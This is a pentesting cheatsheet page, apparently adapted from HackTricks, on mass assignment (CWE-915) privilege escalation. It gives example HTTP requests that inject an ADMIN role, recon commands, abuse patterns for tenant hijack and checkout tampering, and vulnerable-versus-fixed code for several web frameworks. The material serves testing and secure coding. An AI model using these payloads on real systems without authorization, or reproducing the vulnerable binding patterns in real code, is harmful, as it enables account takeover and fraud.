daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

mass-assignment-cwe-915.md (12613B)


      1 ---
      2 title: "Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/mass-assignment-cwe-915.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/mass-assignment-cwe-915.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
     14 
     15 Mass assignment (a.k.a. insecure object binding / autobinding / over-posting) happens when an API/controller takes user-supplied JSON and directly binds it to a server-side model/entity without an explicit allow-list of fields. If privileged properties like roles, `isAdmin`, `status`, ownership fields, or backend-only processing options are bindable, any authenticated user can escalate privileges, tamper with protected state, or steer downstream code paths.<sup>[[5]](#references)</sup>
     16 
     17 This is a Broken Access Control issue (OWASP A01:2021). In API-centric applications it now fits neatly into **OWASP API3:2023 Broken Object Property Level Authorization (BOPLA)**, which merged the old API6:2019 Mass Assignment and API3:2019 Excessive Data Exposure categories. It commonly affects frameworks that support automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django forms/serializers, Spring/Jackson, ASP.NET model binding, Express/Mongoose, Sequelize, Go structs, FastAPI/Pydantic, etc.).<sup>[[4]](#references)</sup>
     18 
     19 ## 1) Finding Mass Assignment
     20 
     21 Look for self-service endpoints that create or update objects:<sup>[[2]](#references)</sup>
     22 - `PUT/PATCH /api/users/{id}`
     23 - `PATCH /me`, `PUT /profile`
     24 - `PUT /api/orders/{id}`
     25 - `POST /api/checkout`
     26 - GraphQL mutations such as `updateProfile`, `editUser`, `saveCart`, `completeCheckout`
     27 
     28 Heuristics indicating mass assignment:
     29 - The response echoes server-managed fields (e.g., `roles`, `status`, `isAdmin`, `permissions`, `ownerId`, `tenantId`) even when you didn’t send them.
     30 - Client bundles contain role names/IDs or other privileged attribute names used throughout the app (`admin`, `staff`, `moderator`, `internal flags`), hinting bindable schema.
     31 - Backend serializers accept unknown fields without rejecting them.
     32 - Validation errors reveal hidden property names or expected types after you submit additional JSON keys.
     33 - The same object is returned by both a read route and an update route, but the update UI only edits a small subset of fields.
     34 
     35 Quick test flow:
     36 1) Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
     37 2) Repeat the update including a crafted privileged field in the body. If the response persists the change, you likely have mass assignment.
     38 3) If the app rejects the key, try the same idea with nested objects, arrays, alternate casing, or partial-update verbs (`PATCH`, JSON Merge Patch, GraphQL mutations).
     39 
     40 Example baseline update revealing schema:<sup>[[1]](#references)</sup>
     41 ```http
     42 PUT /api/users/12934 HTTP/1.1
     43 Host: target.example
     44 Content-Type: application/json
     45 
     46 {
     47   "id": 12934,
     48   "email": "user@example.com",
     49   "firstName": "Sam",
     50   "lastName": "Curry"
     51 }
     52 ```
     53 Response hints at privileged fields:
     54 ```http
     55 HTTP/1.1 200 OK
     56 Content-Type: application/json
     57 
     58 {
     59   "id": 12934,
     60   "email": "user@example.com",
     61   "firstName": "Sam",
     62   "lastName": "Curry",
     63   "roles": null,
     64   "status": "ACTIVATED",
     65   "filters": []
     66 }
     67 ```
     68 
     69 Useful high-impact property classes to test:
     70 - **Privilege / trust flags**: `role`, `roles`, `isAdmin`, `permissions`, `verified`, `emailVerified`, `kycStatus`
     71 - **Ownership / tenant pivots**: `ownerId`, `organizationId`, `tenantId`, `accountId`, `userId`
     72 - **Business logic knobs**: `price`, `discount`, `credit`, `balance`, `limit`, `refundAmount`, `status`
     73 - **Backend processing fields**: `templateId`, `conversionParams`, `exportFormat`, `webhookUrl`, `filePath`
     74 
     75 Quick response-schema diffing from the CLI:
     76 ```bash
     77 curl -s https://target.example/api/users/12934 -H "Authorization: Bearer $TOKEN" | jq -r 'paths(scalars) | map(tostring) | join(".")' | sort -u
     78 ```
     79 
     80 ## 2) Exploitation – Role Escalation via Mass Assignment
     81 
     82 Once you know the bindable shape, include the privileged property in the same request.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup>
     83 
     84 Example: set `roles` to `ADMIN` on your own user resource:<sup>[[1]](#references)</sup>
     85 ```http
     86 PUT /api/users/12934 HTTP/1.1
     87 Host: target.example
     88 Content-Type: application/json
     89 
     90 {
     91   "id": 12934,
     92   "email": "user@example.com",
     93   "firstName": "Sam",
     94   "lastName": "Curry",
     95   "roles": [
     96     { "id": 1, "description": "ADMIN role", "name": "ADMIN" }
     97   ]
     98 }
     99 ```
    100 If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
    101 
    102 Notes
    103 - Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like `roles`, `ADMIN`, `STAFF`, or numeric role IDs.
    104 - If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.
    105 - Test create flows too (`POST /register`, `POST /users`, invite flows, support-ticket creation). Some apps reject `role` changes on edit but still accept them on object creation.
    106 
    107 ## 3) Hidden-Field Recon Beyond the Obvious
    108 
    109 - Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
    110 - Look for arrays/maps of roles, permissions, feature flags, workflow states, and checkout objects. Build payloads matching the exact property names and nesting.
    111 - Compare **GET** responses with **POST/PUT/PATCH** request bodies. If the response object contains `discount`, `credit`, `role`, `status`, or nested `internal` objects not present in the request, try replaying them in the write request.
    112 - Fetch machine-readable API docs if present (`/swagger.json`, `/v2/api-docs`, `/openapi.json`, GraphQL introspection). Hidden fields often appear in schemas even when the frontend never sends them.
    113 - Use error oracles: sending an unexpected key with the wrong type can reveal whether the server actually tried to bind it.
    114 
    115 Handy greps against a downloaded bundle:
    116 ```bash
    117 strings app.*.js | grep -iE "role|admin|isAdmin|permission|status|tenant|owner|discount|credit" | sort -u
    118 ```
    119 
    120 GraphQL introspection is especially useful when a mutation input type exists but the frontend only populates a subset of it:
    121 ```graphql
    122 query IntrospectUserInput {
    123   __type(name: "UpdateUserInput") {
    124     inputFields {
    125       name
    126     }
    127   }
    128 }
    129 ```
    130 
    131 If changing `ownerId`, `organizationId`, or similar moves the object into another tenant/account, pivot into [IDOR / BOLA testing](/hacktricks/pentesting-web/idor) immediately because mass assignment often becomes the write-side primitive for a broader authorization break.
    132 
    133 ## 4) High-Value Abuse Patterns
    134 
    135 **Nested relation / tenant hijack**
    136 - Don’t stop at `role=admin`. In real APIs, reassigning `organizationId`, `accountId`, or `ownerId` is often more valuable because it can move your session, cart, invoice, API key, or ticket into another tenant.
    137 - Nested payloads are common: `{"profile":{"organizationId":7}}`, `{"order":{"owner":{"id":7}}}`, `{"user":{"team":{"id":1}}}`.
    138 
    139 **Business-flow tampering**
    140 - Checkout and billing APIs often return fields like `credit`, `chosen_discount`, `price`, `coupon`, `refundAmount`, or `approved`. If those properties can be echoed back inside the write request, you may get free purchases, over-refunds, or approval bypasses.
    141 - Partial-update routes are worth hammering because developers sometimes protect the main UI form but forget alternate JSON/API handlers.
    142 
    143 **Downstream exploit chaining**
    144 - Some mass-assignment bugs don’t end at privilege escalation. If you can set a backend-only processing option such as transcoding flags, template selectors, or webhook destinations, the impact can become command injection, SSRF, or arbitrary workflow execution.
    145 - A classic example is a video object exposing an internal conversion parameter field: modifying that property may later influence a shell command when the media is processed.
    146 
    147 ## 5) Framework Pitfalls and Secure Patterns
    148 
    149 The vulnerability arises when frameworks bind `req.body` directly onto persistent entities. Below are common mistakes and minimal, secure patterns.
    150 
    151 **Node.js (Express + Mongoose)**
    152 
    153 Vulnerable:
    154 ```javascript
    155 // Any field in req.body (including roles/isAdmin) is persisted
    156 app.put('/api/users/:id', async (req, res) => {
    157   const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
    158   res.json(user);
    159 });
    160 ```
    161 Fix:
    162 ```javascript
    163 // Strict allow-list and explicit authZ for role-changing
    164 app.put('/api/users/:id', async (req, res) => {
    165   const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
    166   const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
    167   res.json(user);
    168 });
    169 // Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
    170 ```
    171 
    172 **Ruby on Rails**
    173 
    174 Vulnerable (no strong parameters):
    175 ```text
    176 def update
    177   @user.update(params[:user]) # roles/is_admin can be set by client
    178 end
    179 ```
    180 Fix (strong params + no privileged fields):
    181 ```text
    182 def user_params
    183   params.require(:user).permit(:first_name, :last_name, :nick_name)
    184 end
    185 ```
    186 
    187 **Laravel (Eloquent)**
    188 
    189 Vulnerable:
    190 ```php
    191 protected $guarded = []; // Everything mass-assignable (bad)
    192 ```
    193 Fix:
    194 ```php
    195 protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
    196 ```
    197 
    198 **Django / ModelForms**
    199 
    200 Vulnerable pattern:
    201 ```python
    202 class UserForm(ModelForm):
    203     class Meta:
    204         model = User
    205         fields = "__all__"  # exposes server-managed fields if reused in self-service flows
    206 ```
    207 Fix:
    208 ```python
    209 class UserProfileForm(ModelForm):
    210     class Meta:
    211         model = User
    212         fields = ["first_name", "last_name", "nick_name"]
    213 ```
    214 
    215 **Spring Boot (Jackson)**
    216 
    217 Vulnerable pattern:
    218 ```java
    219 // Directly binding to entity and persisting it
    220 public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
    221 ```
    222 Fix: Map to a DTO with only allowed fields and enforce authorization:
    223 ```java
    224 record UserUpdateDTO(String firstName, String lastName, String nickName) {}
    225 ```
    226 Then copy allowed fields from DTO to the entity server-side, and handle role changes only in admin-only handlers after RBAC checks. Use `@JsonIgnore` on privileged fields if necessary and reject unknown properties.
    227 
    228 **ASP.NET Core**
    229 
    230 Vulnerable pattern:
    231 ```csharp
    232 [HttpPost]
    233 public async Task<IActionResult> Edit(int id, User user) {
    234     _db.Update(user);
    235     await _db.SaveChangesAsync();
    236     return Ok(user);
    237 }
    238 ```
    239 Fix: bind to a dedicated view model / DTO and map explicitly:
    240 ```csharp
    241 public record UserUpdateDto(string FirstName, string LastName, string NickName);
    242 ```
    243 Microsoft explicitly treats this as **overposting** and recommends view models over binding entity classes directly, especially on edit paths.
    244 
    245 **FastAPI / Pydantic**
    246 
    247 Use separate input models for self-service routes and reject extras instead of reusing a broad DB model:
    248 ```python
    249 from pydantic import BaseModel
    250 
    251 class UserUpdate(BaseModel):
    252     model_config = {"extra": "forbid"}
    253     first_name: str | None = None
    254     last_name: str | None = None
    255     nick_name: str | None = None
    256 ```
    257 
    258 **Go (encoding/json)**
    259 - Ensure privileged fields use `json:"-"` and validate with a DTO struct that includes only allowed fields.
    260 - Consider `decoder.DisallowUnknownFields()` and post-bind validation of invariants (`roles` cannot change in self-service routes).
    261 
    262 ## References
    263 
    264 - [1] [FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)](https://ian.sh/fia)
    265 - [2] [OWASP Web Security Testing Guide - Testing for Mass Assignment](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/20-Testing_for_Mass_Assignment)
    266 - [3] [PortSwigger Web Security Academy - Exploiting a mass assignment vulnerability](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability)
    267 - [4] [OWASP API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)
    268 - [5] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)